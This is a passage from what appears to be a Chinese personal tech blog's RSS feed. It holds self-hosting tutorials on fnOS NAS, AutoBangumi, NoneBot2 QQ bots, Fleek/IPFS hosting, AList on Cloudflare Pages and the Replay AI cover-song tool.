00:1a.0 SD Host controller: Intel Corporation Device 54c4
|
||
00:1c.0 PCI bridge: Intel Corporation Device 54be
|
||
00:1d.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
|
||
00:1d.1 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port
|
||
00:1e.0 Communication controller: Intel Corporation Alder Lake-N Serial IO UART Host Controller
|
||
00:1e.3 Serial bus controller: Intel Corporation Device 54ab
|
||
00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller
|
||
00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller
|
||
00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus
|
||
00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller
|
||
01:00.0 Network controller: Intel Corporation Wireless 3160 (rev 83)
|
||
02:00.0 Non-Volatile memory controller: Realtek Semiconductor Co., Ltd. RTS5765DL NVMe SSD Controller (DRAM-less) (rev 01)
|
||
03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 2b)
|
||
</code></pre>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>启动虚拟机,安装fnOS</p>
|
||
</li>
|
||
</ul>
|
||
<h2>配置</h2>
|
||
<ul>
|
||
<li>
|
||
<p>前往飞牛设置,创建储存空间,Linear模式,选择刚才直通的硬盘<img src="https://blog.acofork.com/_astro/581cf01462df545a8662acbb5e20e1676bd17744.B_2W63Xj.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>前往飞牛应用中心安装qBittorrent、影视,并且在设置给予目录读取权限<img src="https://blog.acofork.com/_astro/92a2e0bf25d630db4858775fdbb6c907f419c25d.CGB915n5.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>配置qBittorrent的用户名和密码</p>
|
||
</li>
|
||
<li>
|
||
<p>打开飞牛Docker,初始化</p>
|
||
</li>
|
||
<li>
|
||
<p>拉取并运行AutoBangumi Docker镜像:</p>
|
||
<pre><code>docker run -d \
|
||
--name=AutoBangumi \
|
||
-v /vol1/1000/AutoBangumi/config:/app/config \
|
||
-v /vol1/1000/AutoBangumi/data:/app/data \
|
||
-p 7892:7892 \
|
||
-e TZ=Asia/Shanghai \
|
||
-e PUID=$(id -u) \
|
||
-e PGID=$(id -g) \
|
||
-e UMASK=022 \
|
||
--network=bridge \
|
||
--dns=8.8.8.8 \
|
||
--restart unless-stopped \
|
||
ghcr.onani.cn/estrellaxd/auto_bangumi:latest
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>进入<code>host:7892</code> 让AutoBangumi连接qBittorrent并配置下载地址<img src="https://blog.acofork.com/_astro/82c4a003d2399f82a7ccf5849cd1d5858d5f1f61.CSVrglg3.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>添加RSS。可前往<a href="https://mikanime.tv/">蜜柑计划 - Mikan Project</a>获得各个字幕组的RSS</p>
|
||
<p><img src="https://blog.acofork.com/_astro/f36daae968d8043bbcd1e4a2bbb9b9cd2d707cee.Dkd2uNmd.webp" alt="" /></p>
|
||
<p>注意:使用<a href="https://mikanime.tv/">蜜柑计划 - Mikan Project</a>时,请订阅单个字幕组的RSS,不要使用个人的RSS,会导致<strong>只能获取到你所有追番的最新一集而不是单个番的全部剧集</strong></p>
|
||
</li>
|
||
<li>
|
||
<p>打开飞牛影视,初始化并设置媒体库<img src="https://blog.acofork.com/_astro/269b78c3b7dffe7f8cdb861098f44147552b5eb4.D3_UaCnX.webp" alt="" /></p>
|
||
<ul>
|
||
<li>
|
||
<p>注意:如果要刮削旧集旧番,请规范重命名,可以使用自动化工具:<a href="https://alist.onani.cn/Episode-ReName.zip">Episode-ReName.zip | AcoFork-AList</a></p>
|
||
<ul>
|
||
<li>
|
||
<p>一级目录:即qb下载目录,无需重命名</p>
|
||
</li>
|
||
<li>
|
||
<p>二级目录:番剧名称</p>
|
||
</li>
|
||
<li>
|
||
<p>三级目录:季,如<code>Season 1</code></p>
|
||
</li>
|
||
<li>
|
||
<p>四级目录:集和字幕,如<code>S01E01.mp4</code> <code>S01E01.chs.ass</code></p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h1>3. Debian</h1>
|
||
<h2>安装</h2>
|
||
<ul>
|
||
<li>
|
||
<p>下载Debian12 ISO(USTC镜像源)(建议选择DVD镜像,包更全,安装更快)</p>
|
||
<p><a href="https://mirrors.ustc.edu.cn/help/debian-cd.html">https://mirrors.ustc.edu.cn/help/debian-cd.html</a></p>
|
||
</li>
|
||
<li>
|
||
<p>上传至PVE,创建Debian虚拟机,CPU类型选择host,步骤略</p>
|
||
</li>
|
||
</ul>
|
||
<h3>安装1Panel:</h3>
|
||
<p><a href="https://1panel.cn/docs/installation/online_installation/">https://1panel.cn/docs/installation/online_installation/</a></p>
|
||
<ul>
|
||
<li>在1Panel中安装<code>Openresty</code> <code>MySQL</code> <code>Halo</code> <code>AList</code> <code>Cloudflared</code> 配置步骤略</li>
|
||
</ul>
|
||
<h3>搭建QQBot</h3>
|
||
<h4>安装OneBotv11协议实现:Lagrange.OneBot</h4>
|
||
<ul>
|
||
<li>
|
||
<p>Docker Run:<code>docker run -td -p 8081:8081 -v /root/qqbot/lo:/app/data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn/lagrangedev/lagrange.onebot:edge</code></p>
|
||
</li>
|
||
<li>
|
||
<p>修改配置文件:<code>appsettings.json</code></p>
|
||
<pre><code>{
|
||
"Logging": {
|
||
"LogLevel": {
|
||
"Default": "Information",
|
||
"Microsoft": "Warning",
|
||
"Microsoft.Hosting.Lifetime": "Information"
|
||
}
|
||
},
|
||
"SignServerUrl": "",
|
||
"SignProxyUrl": "",
|
||
"MusicSignServerUrl": "",
|
||
"Account": {
|
||
"Uin": 0,
|
||
"Password": "",
|
||
"Protocol": "Linux",
|
||
"AutoReconnect": true,
|
||
"GetOptimumServer": true
|
||
},
|
||
"Message": {
|
||
"IgnoreSelf": true,
|
||
"StringPost": false
|
||
},
|
||
"QrCode": {
|
||
"ConsoleCompatibilityMode": false
|
||
},
|
||
"Implementations": [
|
||
{
|
||
"Type": "ReverseWebSocket",
|
||
"Host": "192.168.124.34",
|
||
"Port": 9090,
|
||
"Suffix": "/onebot/v11/ws",
|
||
"ReconnectInterval": 5000,
|
||
"HeartBeatInterval": 5000,
|
||
"AccessToken": ""
|
||
}
|
||
]
|
||
}
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>重启容器,扫码登录</p>
|
||
</li>
|
||
</ul>
|
||
<h4>安装NoneBot2</h4>
|
||
<ul>
|
||
<li>
|
||
<p>安装pip:<code>apt install python3-pip</code></p>
|
||
</li>
|
||
<li>
|
||
<p>配置pip USTC源:<code>pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/simple</code></p>
|
||
</li>
|
||
<li>
|
||
<p>安装pipx:<code>apt install pipx</code></p>
|
||
</li>
|
||
<li>
|
||
<p>安装nb-cli:<code>pipx install nb-cli</code></p>
|
||
</li>
|
||
<li>
|
||
<p>设置pipx变量:<code>pipx ensurepath</code></p>
|
||
</li>
|
||
<li>
|
||
<p>安装nb bootstrap:<code>nb self install nb-cli-plugin-bootstrap</code></p>
|
||
</li>
|
||
<li>
|
||
<p>创建新NoneBot2项目:<code>nb bs</code></p>
|
||
</li>
|
||
<li>
|
||
<pre><code>root@n100-debian:~# nb bs
|
||
加载适配器列表中……
|
||
请输入项目名称
|
||
[?] 请输入 &gt; onani
|
||
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
|
||
请输入 Bot 超级用户,超级用户拥有对 Bot 的最高权限(如对接 QQ 填 QQ 号即可)(留空回车结束输入)
|
||
[?] 第 1 项 &gt; 666
|
||
[?] 第 2 项 &gt;
|
||
请输入 Bot 昵称,消息以 Bot 昵称开头可以代替艾特(留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 Bot 命令起始字符,消息以起始符开头将被识别为命令,
|
||
如果有一个指令为 查询,当该配置项中有 "/" 时使用 "/查询" 才能够触发,
|
||
留空将使用默认值 ['', '/', '#'](留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 Bot 命令分隔符,一般用于二级指令,
|
||
留空将使用默认值 ['.', ' '](留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 NoneBot2 监听地址,如果要对公网开放,改为 0.0.0.0 即可
|
||
[?] 请输入 &gt; 0.0.0.0
|
||
请输入 NoneBot2 监听端口,范围 1 ~ 65535,请保证该端口号与连接端配置相同,或与端口映射配置相关
|
||
[?] 请输入 &gt; 9090
|
||
[?] 是否在项目目录中释出快捷启动脚本? Yes
|
||
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot? Yes
|
||
[?] 是否使用超级用户 Ping 指令回复插件? Yes
|
||
[?] 是否安装 logpile 插件提供日志记录到文件功能? Yes
|
||
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot?(该插件仍在开发中,不推荐用于生产环境) No
|
||
成功新建项目 onani
|
||
[?] 是否新建虚拟环境? Yes
|
||
正在 /root/onani/.venv 中创建虚拟环境
|
||
创建虚拟环境成功
|
||
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置? No
|
||
[?] 是否立即安装项目依赖? Yes
|
||
正在安装项目依赖
|
||
依赖安装成功
|
||
[?] 请选择需要启用的内置插件
|
||
项目配置完毕,开始使用吧!
|
||
</code></pre>
|
||
</li>
|
||
</ul>
|
||
<h1>成果展示(域名已弃用)</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/4b4680cc548e0c59ec18cef537c9b1f5412fbbcd.C3rDZv3m.webp" alt="" /></p>
|
||
<p><a href="https://blog.onani.cn">https://blog.onani.cn</a></p>
|
||
<p><a href="https://alist.onani.cn">https://alist.onani.cn</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/7c24ff7d54b2e0ccaecce4b2ef79155c54124fa4.BIVml-0X.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>使用基于IPFS的Fleek部署静态网站、托管图床、部署服务</title><link>https://blog.acofork.com/posts/ipfs/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ipfs/</guid><description>IPFS是一个多节点的文件托管系统,你可以在上面共享文件、发布网站、而Fleek自动化了这个过程,并且可以链接你的Git存储库</description><pubDate>Thu, 17 Oct 2024 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文过旧,某些资源可能已经不可用</p>
|
||
</blockquote>
|
||
<h3>什么是IPFS?</h3>
|
||
<blockquote>
|
||
<p>IPFS,是点到点的超媒体协议,它让网络更快、更安全、更开放。说简单一点,它就是一个去中心化互联网。说技术一点,它是一个基于分布式哈希表DHT进行内容寻址的,基于git模型版本管理的,基于默克尔对象关联的,基于点对点技术的,基于全球化命名空间IPNS的,基于各种技术的,一种分布式文件系统。</p>
|
||
</blockquote>
|
||
<p>用人话说,你可以把它看成一个共享网盘,你可以尝试下载<a href="https://github.com/ipfs/ipfs-desktop">IPFS - Desktop(适用于有图形界面的系统)</a>或<a href="https://github.com/ipfs/kubo">kubo - ipfs(适用于CLI)</a>。然后启动IPFS,你的设备将成为IPFS网络中的一个节点,如图<img src="https://blog.acofork.com/_astro/2024-10-17-10-47-08-image.ahrYAJRA.webp" alt="" /></p>
|
||
<h3>使用IPFS能做什么?</h3>
|
||
<p>当你连接到IPFS网络后,IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点,你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点,等待分发,让网络上的其他用户可以访问你的文件。在IPFS网络中,访问文件通过IPFS网关,如:<code>https://ipfs.io/ipfs/</code> + <code>CID(文件哈希)</code> 实现访问。比如: https://ipfs.crossbell.io/ipfs/bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4</p>
|
||
<p>(这里使用 <code>ipfs.crossbell.io</code> 这个CrossBell托管的IPFS网关来规避GFW封禁)</p>
|
||
<h3>这项技术真的有这么理想吗?</h3>
|
||
<p>这项技术确实很理想,但是实际应用下来会遇到以下问题</p>
|
||
<ol>
|
||
<li>
|
||
<p>通过本地IPFS节点上传的文件迟迟无法通过IPFS网关+CID实现访问</p>
|
||
</li>
|
||
<li>
|
||
<p>发现的节点太少</p>
|
||
</li>
|
||
<li>
|
||
<p>可能会大量占用你的带宽</p>
|
||
</li>
|
||
</ol>
|
||
<p>这些问题大部分原因都是因为这个网络太过于庞大,而单个IPFS节点的权重很低,尽管IPFS的分发一般在几小时内可以完成。但对于个人来说,我们应当寻找一些服务商帮我们完成这些需求,它们往往在IPFS网络中的权重更大,进行文件更新的效率也很高,同时也提供一些扩展服务,比如自动化Git部署。而这篇文章使用的则是<strong>Fleek</strong></p>
|
||
<h3>关于Fleek</h3>
|
||
<p>你可以简单理解为它权重很大,有很多的IPFS节点,经由Fleek上传到IPFS网络上的文件可以在几秒内完成广播,并且支持连接Git存储库部署项目和绑定你的域名</p>
|
||
<h3>Fleek是否值得信赖?</h3>
|
||
<p>本人仅接触此服务2天。观察到Fleek在成功部署网站后提供了三类访问方式</p>
|
||
<ol>
|
||
<li>
|
||
<p><code>xxx-xxx.fleek.app</code>:这个域名使用了Cloudflare CDN,实测解析IP的数量为2,不建议使用</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-17-11-01-49-image.CLaOlCbj.webp" alt="" />:这种方法是原生的IPFS访问方式。通过IPFS网关+CID来访问。但由于CID为哈希值,当你的网站改动后你的CID会发生变化</p>
|
||
</li>
|
||
<li>
|
||
<p>绑定自定义域名来访问,这将会使用亚马逊的CDN并且自动映射CID,实测解析IP数量超过30,并且速度很快</p>
|
||
<blockquote>
|
||
<p>[!WARNING]
|
||
注意,任何使用HTTP协议的类ipfs技术都需要一个中心化服务器代理访问IPFS网络。只有当访问者连接上IPFS网络后才会使用去中心化的连接方式)</p>
|
||
</blockquote>
|
||
</li>
|
||
</ol>
|
||
<ul>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-17-11-07-40-image.DIP3G01a.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>尽管显示了IPFS的文件浏览界面,但实际上这个页面是由HTTP请求到亚马逊 CDN反代IPFS网络实现的,实际上仍为中心化网络</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-17-11-08-44-image.B1UnfLNK.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>当你的设备已经连上IPFS网络后,所有流量将使用P2P(去中心化),所以你看到的访问地址实际上是本机地址</p>
|
||
</li>
|
||
</ul>
|
||
<h3>梳理一下思路,我们可以用Fleek做到什么</h3>
|
||
<p>让Fleek连接你的Git存储库,通过构建命令构建静态网站,并发布到IPFS,同时兼容HTTP访问</p>
|
||
<h4>正式开始</h4>
|
||
<ol>
|
||
<li>
|
||
<p>前往fleek.xyz,通过MetaMask登录</p>
|
||
</li>
|
||
<li>
|
||
<p>连接你的Git存储库,输入构建命令等相关信息</p>
|
||
</li>
|
||
<li>
|
||
<p>部署网站</p>
|
||
</li>
|
||
<li>
|
||
<p>绑定域名</p>
|
||
</li>
|
||
<li>
|
||
<p>最终访问</p>
|
||
</li>
|
||
</ol>
|
||
<p>效果图:</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-17-11-31-33-image.CgP2WYNk.webp" alt="" /></p>
|
||
<h4>拓展一下,我们还可以通过IPFS技术做什么?(域名已弃用)</h4>
|
||
<ol>
|
||
<li>
|
||
<p>创建一个巨大的图床,已经投入使用,参见: https://pic.onani.cn (原理:请求 https://ipfs-pic.onani.cn ,获取图片列表,随机选择使用JS展示)<img src="https://blog.acofork.com/_astro/2024-10-17-11-34-44-image.9qXafEfa.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>无需再自托管任何图片,已经投入使用,本博客所有图片都使用IPFS存储</p>
|
||
</li>
|
||
<li>
|
||
<p>理论上,你可以将任何占用存储的服务上传到IPFS,实现存算分离</p>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>教你把AList的前端部署到CF Pages!让你的AList秒加载!</title><link>https://blog.acofork.com/posts/alist-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/alist-web/</guid><description>将AList Web部署到CF Pages可以显著提升访问者的浏览体验,因为静态资源都在CF的边缘节点,而后端使用API交互,而不是由源服务器路由所有流量,既能减轻源服务器的负载,又能使用CF Pages的不回源优势,一箭双雕</description><pubDate>Tue, 15 Oct 2024 00:00:00 GMT</pubDate><content:encoded><h2>前情提要<a href="https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81">#</a></h2>
|
||
<p>本教程<strong>不是 AList 的无服务器部署</strong>,仅将前端页面部署到 Cloudflare Pages,这样用户就能很快从 cf 的边缘节点拉取前端文件,而不用 cf 回源,提高浏览体验,后端仍然需要一台开放到公网的服务器部署 AList(无公网服务器可使用 Cloudflare Tunnels)</p>
|
||
<h3>首先,保证你的后端服务器支持v4v6双栈访问</h3>
|
||
<ol>
|
||
<li>
|
||
<p>使用Cloudflare Tunnel,套cf</p>
|
||
</li>
|
||
<li>
|
||
<p>分别设置A和AAAA解析,麻烦,如果你的IP很快,那其实可以不用前后端分离,暴露源站的前后端分离也不能避免被DDoS,因为你的源站会在HTTP报文中暴露</p>
|
||
</li>
|
||
</ol>
|
||
<h3>然后,开始正式将AList前端部署到Cloudflare Pages</h3>
|
||
<ol>
|
||
<li>
|
||
<p>Fork仓库:</p>
|
||
<p><a href="https://github.com/alist-org/alist-web">https://github.com/alist-org/alist-web</a></p>
|
||
</li>
|
||
<li>
|
||
<p>更改项目根目录的<code>env.production</code>文件为你的后端服务器地址<br />
|
||
<img src="https://blog.acofork.com/_astro/6f2871ca5d35e1e974d89611835f3a2c7fd205e7.Dq5O-2Dm.webp" alt="QmduQJq3TydzvLzBn47zLxp2MR1iD2sxm67EzFUFuEBvQa.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>将仓库克隆到本地,需要安装<a href="https://git-scm.com/">Git</a>:</p>
|
||
</li>
|
||
</ol>
|
||
<pre><code>使用SSH(需要持有你的Github SSH私钥):
|
||
git clone git@github.com:你的用户名/你Fork的仓库
|
||
|
||
使用HTTPS(Not Use Magic有概率SSL握手失败):
|
||
git clone git@github.com:你的用户名/你Fork的仓库
|
||
</code></pre>
|
||
<ol>
|
||
<li>下载汉化包:<a href="https://alist.onani.cn/guest/alist_Zh-CN">AcoFork 的网盘</a>或<a href="https://crowdin.com/project/alist/zh-CN">Crowdin - 需要登录</a><br />
|
||
<img src="https://blog.acofork.com/_astro/68d31e9797edfc3c1d8a72386ebf3a643d117ce6.C-TGjdFC.webp" alt="QmXVpMc7BqbXv9EaAbeptsrnhYLinvQQsu1btBE3VvDixa.webp" /></li>
|
||
<li>解压,将<code>alist (zh-CN)\src\lang</code>里面的<code>Zh-CN</code>文件夹复制到仓库下<code>src/lang</code>下</li>
|
||
<li>编辑根目录的<code>.gitignore</code>,添加一行<code>!/src/lang/zh-CN/</code>确保文件不被忽略</li>
|
||
<li>下载<a href="https://nodejs.org/zh-cn">Nodejs</a>。在根目录打开终端,生成中文需要的文件:</li>
|
||
</ol>
|
||
<pre><code>安装cnpm:
|
||
npm install -g cnpm --registry=https://registry.npmmirror.com
|
||
|
||
安装依赖:
|
||
cnpm install --legacy-peer-deps
|
||
|
||
生成中文需要的文件:
|
||
node .\scripts\i18n.mjs
|
||
</code></pre>
|
||
<ol>
|
||
<li>将更改提交到暂存区并提交到远程仓库,在根目录打开终端</li>
|
||
</ol>
|
||
<pre><code>git add . //将更改提交到暂存区
|
||
git commit -m 添加中文 //发布提交
|
||
git push -f //强制将更改提交到远程仓库
|
||
</code></pre>
|
||
<ol>
|
||
<li>进入<a href="https://dash.cloudflare.com/">Cloudflare 仪表盘</a>,进入 Workers 和 Pages 页面<br />
|
||
<img src="https://blog.acofork.com/_astro/49ccd51771082fdc94eecb270caf987d257cd987.xJ72EQik.webp" alt="QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp" /></li>
|
||
<li>创建一个 Pages,选择连接 Git 存储库<br />
|
||
<img src="https://blog.acofork.com/_astro/9c4b9ff38d3c8810007ffe33c1a0f98cdd84b92e.DIyUZEcp.webp" alt="QmZXerKv9PVxxscAe4w4LEfAaKfiScPQEKh1UroXnCeAUr.webp" /></li>
|
||
<li>选择你的存储库,开始设置<br />
|
||
<img src="https://blog.acofork.com/_astro/fb97b5148c3811590609a0b85c6c1ee3c451853d.B4HKD5ic.webp" alt="QmNdSGQrJtoqDnBx8pgDrtcfmUUfVBS9xdrN4xLgyPjyXE.webp" /></li>
|
||
<li>构建命令输入:<code>pnpm install &amp;&amp; pnpm build</code>,构建输出目录选择<code>/dist</code><br />
|
||
<img src="https://blog.acofork.com/_astro/c4300a94ccb16fe1383c721cbc83d1a71420e340.D1asUU03.webp" alt="QmbhPdbE8f1zLKvWA6aEGJtZhmecRMVZiQbx6Zx1Lecp7J.webp" /></li>
|
||
<li>等待 Cloudflare 构建结束,为 Pages 绑定自定义域<br />
|
||
<img src="https://blog.acofork.com/_astro/d27136b31d759898fe06041f12e7a07f07bd06b0.oj-CmK_s.webp" alt="QmTMphu61uUF9XefBAVDVf19Jm1vLVUhhXQ9PXABy7hUpK.webp" /></li>
|
||
<li>访问自定义域,查看 AList 是否正常<br />
|
||
<img src="https://blog.acofork.com/_astro/345df496620a9d3faf0eceeb773813bc9ac98375.BXToVDrd.webp" alt="QmT8GLcaxtabhifKNL8kczEtozmNvdyhzJ823RfBrcFdpm.webp" /></li>
|
||
</ol>
|
||
<h3>定制 AList<a href="https://afo.im/shen-me-Cloudflare-dai-li-AList-tai-man--jiao-ni-bu-shu-qian-duan-dao-Pages-ju-jue-hui-yuan-#user-content-%E5%AE%9A%E5%88%B6-alist">#</a></h3>
|
||
<blockquote>
|
||
<p>我们都知道 AList 支持自定义头部和内容,但是因为 Cloudflare Pages 是一个静态页面,所以我们采用硬编码方式,直接将需要自定义的内容写入仓库根目录的<code>index.html</code><br />
|
||
<img src="https://blog.acofork.com/_astro/c3ff113558b368da9a7aeb70f70b978f49d0eb7a.CkjrCEz9.webp" alt="Qmd47pgFsyh28NjhkLiCPPbf7iasXMWvAvZDupH8QspG64.webp" /></p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>编辑根目录的<code>index.html</code></li>
|
||
<li>将更改提交到暂存区并提交到远程仓库,在根目录打开终端</li>
|
||
</ol>
|
||
<pre><code>git add . //将更改提交到暂存区
|
||
git commit -m 你的提交摘要 //发布提交
|
||
git push -f //强制将更改提交到远程仓库
|
||
</code></pre>
|
||
<ol>
|
||
<li>Cloudflare Pages 会自动重新构建,等待新网页构建完成即可<br />
|
||
<img src="https://blog.acofork.com/_astro/863e5bb3ef65ec2a0af03303dd3afe13fb8dd8d4.BpoaXW7A.webp" alt="QmNZemsDHz5QLxW3V2eANghmVkfBccEpe5vMAWUCLik4o6.webp" /></li>
|
||
</ol>
|
||
<h3>疑难解答</h3>
|
||
<ol>
|
||
<li>如果你遇到构建错误(找不到solid-route/src)的情况,可以尝试查看你fork的仓库通过本地拉取下来后根目录的 <code>solid-route</code> 文件夹是不是空的,如果是,请前往 https://github.com/alist-org/alist-web 手动将 <code>solid-route</code> 文件夹里的内容搬到你仓库中,然后尝试重新构建</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>傻瓜式AI翻唱软件Replay!选歌!选模型!然后CREATE SONG!</title><link>https://blog.acofork.com/posts/replay/</link><guid isPermaLink="true">https://blog.acofork.com/posts/replay/</guid><description>Replay是一个自动化的AI翻唱软件,用户仅需要提供想要翻唱的歌和RVC模型,Replay会自动进行人声分离,并生成AI翻唱音频,对于新手来说十分友好</description><pubDate>Tue, 15 Oct 2024 00:00:00 GMT</pubDate><content:encoded><h3>AI翻唱!仅需两步!</h3>
|
||
<ol>
|
||
<li>
|
||
<p>前往<a href="https://www.tryreplay.io/">Replay | Free AI Voice Cloning and Stemming using RVC Models (tryreplay.io)</a>下载Replay</p>
|
||
</li>
|
||
<li>
|
||
<p>打开Replay,首先根据引导下载数据包(约11G)。然后根据图片操作,选择歌曲和模型,最后点击 <code>CREATE SONG</code> 即可!<img src="https://blog.acofork.com/_astro/59f2cc973405b81324f0472f5309ff6efa682ace.CK4lHn90.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-15-16-40-07-image.BJeFWEob.webp" alt="" /></p>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>飞牛NAS玩机体验</title><link>https://blog.acofork.com/posts/fnos/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fnos/</guid><description>飞牛NAS系统是一个现代的开源的NAS系统。影视刮削在国内属于TOP1,并且刚需的Docker软件也功能全面易用,博主本人也在使用</description><pubDate>Mon, 14 Oct 2024 00:00:00 GMT</pubDate><content:encoded><h3>吸引我的东西</h3>
|
||
<ol>
|
||
<li>
|
||
<p>影视刮削:飞快,薄纱Plex几条街。通过<a href="/autobangumi">AutoBangumi</a>可以完美自动追番+刮削一条龙服务。偶尔会有不准,但可以手动匹配,数据源来自<a href="https://www.themoviedb.org/">TMDB</a>和<a href="https://www.imdb.com/">IMDB</a>
|
||
<img src="https://blog.acofork.com/_astro/f1bd7089efdf00097d5474ef967a62dcfca42e98.eK-Hz5MM.webp" alt="QmbNXd4FJ8FM8mwkKxJNdBoNbvhawJ2HdSvW5tFUt3o4ub.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>相册:可以通过手机APP自动备份,支持仅备份图片,可以多用户使用,存储互不干扰,也可以设置要共享的图片
|
||
<img src="https://blog.acofork.com/_astro/2f9981f8397cc1278807ed28f8a2e15954868fec.C4WfFdBh.webp" alt="QmeLJ7in4xcokPWUgkkSobDLUTrFrXep2o38qUXQ1njQR9.webp" /></p>
|
||
</li>
|
||
</ol>
|
||
<h3>注意事项</h3>
|
||
<ol>
|
||
<li>
|
||
<p>飞牛NAS在安装的时候会叫你选择安装盘,然后会将安装盘的一部分空间(默认为64GB)作为系统分区,其余空间可用于创建存储空间(但是系统盘不能和别的盘组存储池,只能单独建存储池)
|
||
<img src="https://blog.acofork.com/_astro/6403ef19d941abdc93d8c7da01364a8983c98109.DBT55HsQ.webp" alt="QmNfRbvHu1fuYoincACcP2MG4yV4pgRni3rb4Y9J7uw4FW.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>应用商店安装的软件需要先授予目录访问权限应用才能读取目录(无论是原生还是Docker应用)
|
||
<img src="https://blog.acofork.com/_astro/79af3b25d8b677b2718c953c0d431ead2f137e1d.Dn_dIhiL.webp" alt="QmP4unAVra1zy7gkjEzSCYEDAJMMe1BVWPKoVyjYv8b9Ho.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>发行版为Debian 12。根目录为系统分区的空间,/vol1 为存储空间1的空间 /vol2 为存储空间2的空间。推荐使用<a href="https://onani.cn/RaiDrive">RaiDrive</a>或<a href="/SSHFS">SSHFS</a>挂载Linux目录到Windows
|
||
<img src="https://blog.acofork.com/_astro/d4ec6f87893f4af5d7eedb2e2a19a784fd6c6f92.DqV-tGVc.webp" alt="QmWMQHNpJUUPg9B1Hdw2zmwLx9q6bcS52nUFiB3P9iYvU9.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>SSH需要自己开,账密为NAS管理员账密,建议登上之后改为仅密钥登录,参见:<a href="https://www.runoob.com/w3cnote/set-ssh-login-key.html">设置 SSH 通过密钥登录</a>
|
||
<img src="https://blog.acofork.com/_astro/9f92130465ab62e912b7404266febc7212e2125b.CojHATPo.webp" alt="QmTk3va2NCbYTcVewVjuqjGx6MwMwiUnManrNwxvEq4SBR.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>各网卡测试</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>名称</th>
|
||
<th>类型</th>
|
||
<th>品牌</th>
|
||
<th>是否免驱</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>Realtek GBE Family (r8168)</td>
|
||
<td>有线</td>
|
||
<td>Realtek(瑞昱)</td>
|
||
<td>否,需要自行安装驱动</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Realtek 8852BE</td>
|
||
<td>无线</td>
|
||
<td>Realtek(瑞昱)</td>
|
||
<td>否,需要自行安装驱动</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Intel AC3160</td>
|
||
<td>无线</td>
|
||
<td>Intel(英特尔)</td>
|
||
<td>是</td>
|
||
</tr>
|
||
<tr>
|
||
<td>USB有线网卡</td>
|
||
<td>有线</td>
|
||
<td>Realtek(瑞昱)</td>
|
||
<td>是</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
</li>
|
||
<li>
|
||
<p>各存储模式区别</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>模式</th>
|
||
<th>作用</th>
|
||
<th>是否能扩容</th>
|
||
<th>是否能换盘</th>
|
||
<th>容灾</th>
|
||
<th>是否能热备</th>
|
||
<th>是否能修改存储模式</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>Basic</td>
|
||
<td>将物理硬盘的一部分或者全部作为一个存储池,不可扩容,仅能单盘创建这个模式</td>
|
||
<td>否</td>
